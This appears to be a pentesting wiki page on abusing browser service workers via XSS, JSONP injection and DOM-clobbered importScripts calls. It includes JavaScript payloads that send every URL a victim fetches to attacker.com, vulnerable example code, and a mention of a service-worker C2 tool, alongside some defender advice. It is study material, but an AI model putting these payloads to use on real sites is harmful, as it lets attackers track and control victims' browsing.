# Abusing Service Workers

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## Basic Information A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. ([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)).\ Then you could abuse service workers by **creating/modifying them** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**. ### Check existent SWs You can see them in the **Service Workers** field in the **Application** tab of **Developer Tools**. You can also look at [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals). ### Push Notifications If the victim didn't grant **push notifications permissions** the service worker **won't be able to receive communications from the server if the user doesn't access the attacker page again**. This will **prevent** for example, maintain conversations with all the pages that accessed the attacker web page so web a exploit if found the SW can receive it and execute it.\ However, if the victim **grants push notifications permissions this could be a risk**. ## Attack Creating a Service Worker In order to exploit this vulnerability you need to find: * A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file * A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**. In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not: ```javascript ``` In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"; ``` There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities. In an XSS situation, the 24 hour cache directive limit ensures that a malicious or compromised SW will outlive a fix to the XSS vulnerability by a maximum of 24 hours (assuming the client is online). Site operators can shrink the window of vulnerability by setting lower TTLs on SW scripts. We also encourage developers to [build a kill-switch SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776). ## Abusing `importScripts` in a SW via DOM Clobbering The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS. **This even bypasses CSP protections.** **Example vulnerable code:** * **index.html** ```html ``` * **sw\.js** ```javascript const searchParams = new URLSearchParams(location.search); let host = searchParams.get('host'); self.importScripts(host + "/sw_extra.js"); //host can be controllable by an attacker ``` ### With DOM Clobbering For more info about what DOM Clobbering is check: {% content-ref url="/pages/91qEgDTHTQK6XWYxS0N6" %} [Dom Clobbering](/dashboard/pentesting-web/xss-cross-site-scripting/dom-clobbering.md) {% endcontent-ref %} If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**. For an example of this check the reference link. ## References *

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